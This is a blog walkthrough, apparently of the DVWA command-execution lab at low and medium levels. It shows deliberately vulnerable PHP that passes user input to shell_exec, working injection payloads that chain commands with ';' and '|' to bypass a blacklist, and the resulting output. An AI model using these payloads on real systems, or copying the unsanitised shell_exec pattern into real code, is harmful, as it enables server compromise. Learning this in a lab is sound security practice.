Command Execution Part 2…
Hey guys,
So I finally got around to playing with the Damn Vulnerable Web Application on Medium level. The command execution level really only added a filter for two characters as a “more secure” version to the level on low setting. Lets take a look at the code:
<?php
if( isset( $_POST[ 'submit'] ) ) {
$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
‘&&’ => ”,
‘;’ => ”,
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if (stristr(php_uname(‘s’), ‘Windows NT’)) {
$cmd = shell_exec( ‘ping ‘ . $target );
echo ‘<pre>’.$cmd.’</pre>’;
} else {
$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.’</pre>’;
}
}
?>
As you can see, they have added a character filter which filters out the following characters: ‘;’ and ‘&&’, the code that does this is here:
$substitutions = array(
'&&' => '',
';' => '',
);
Well what about the other plethora of bash commands ay? Such as.. well you guessed it the famous pipe operator: ‘|’. Lets see what happens when we try using it:
I entered: “127.0.0.1 | ls -l”, however you could just do: “| ls -l”, and I got returned:
total 12
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
-rw-r--r-- 1 www-data www-data 0 Jun 9 08:37 ls
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source
Viola!
Command Execution Part 1
Hey,
So the next part of the Damn Vulnerable Web Application is entitled “Command Execution”, which is a very very simple and contrived example, lets take a look at the source code behind it:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
So as you can see clear as day there is no sanitization used on the user defined $target variable, so the trick here is very simple:
127.0.0.1; ls -lart; uname -ar; whoami; who;
Will return:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.080 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.241 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.241 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2011ms
rtt min/avg/max/mdev = 0.080/0.187/0.241/0.076 ms
total 20
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
drwxr-xr-x 10 www-data www-data 4096 Feb 17 15:17 ..
drwxr-xr-x 4 www-data www-data 4096 Jun 3 13:38 .
Linux dojo-vm 2.6.31-19-generic #56-Ubuntu SMP Thu Jan 28 01:26:53 UTC 2010 i686 GNU/Linux
www-data
dojo tty7 Jun 2 14:51 (:0)
dojo pts/0 Jun 2 15:50 (:0.0)
dojo pts/1 Jun 2 18:36 (:0.0)
Well that one was easy, wasn’t it? 
Also note that you can use && to concatenate commands on the command line as well as ;.
